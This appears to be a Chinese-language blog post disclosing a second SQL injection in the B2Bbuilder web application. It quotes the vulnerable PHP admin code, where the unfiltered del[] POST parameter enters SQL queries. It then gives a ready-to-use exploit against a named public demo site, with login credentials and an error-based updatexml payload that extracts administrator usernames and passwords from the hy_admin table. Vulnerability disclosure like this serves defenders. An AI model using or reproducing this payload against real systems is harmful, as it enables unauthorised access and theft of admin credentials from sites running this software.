B2Bbuilder最新版sql注入第二处

看到module\company\admin\business_info_list.php

<?php
$status=array('-1'=>lang_show('notpass'),'0'=>lang_show('wpass'),'1'=>lang_show('auditpass')); 
if(isset($_GET['step']))
{
        if($_GET['step']=="del")
        {
                $db->query("delete from ".CERTIFICATION." where id='$_GET[deid]'");
                $sql="update ".COMPANY." set certification='0' where company_id in (select company_id from ".CERTIFICATION." where id='$_GET[deid]')";
                $db->query($sql);
        }
}
if(isset($_POST['del']))
{
        $ids=implode(",",$_POST['del']);
        $sql="update  ".CERTIFICATION." set statu=1 where id in ($ids)";
        $db->query($sql);
        
        $sql="update ".COMPANY." set certification='1' where company_id in (select company_id from ".CERTIFICATION." where id in ($ids))";
        $db->query($sql);
}
?>

其中del未过滤进入sql中,造成注入。

我们用demo测试
http://democn.b2b-builder.com
账号密码 test test

构造url

http://democn.b2b-builder.com/main.php?m=company&s=admin/business_info_list

POST数据包

del[]=1) or updatexml(2,concat(0x7e,((select group_concat(user,0x5e,password) from hy_admin))),0) %23&updateID=11&cc=6750

2

发表评论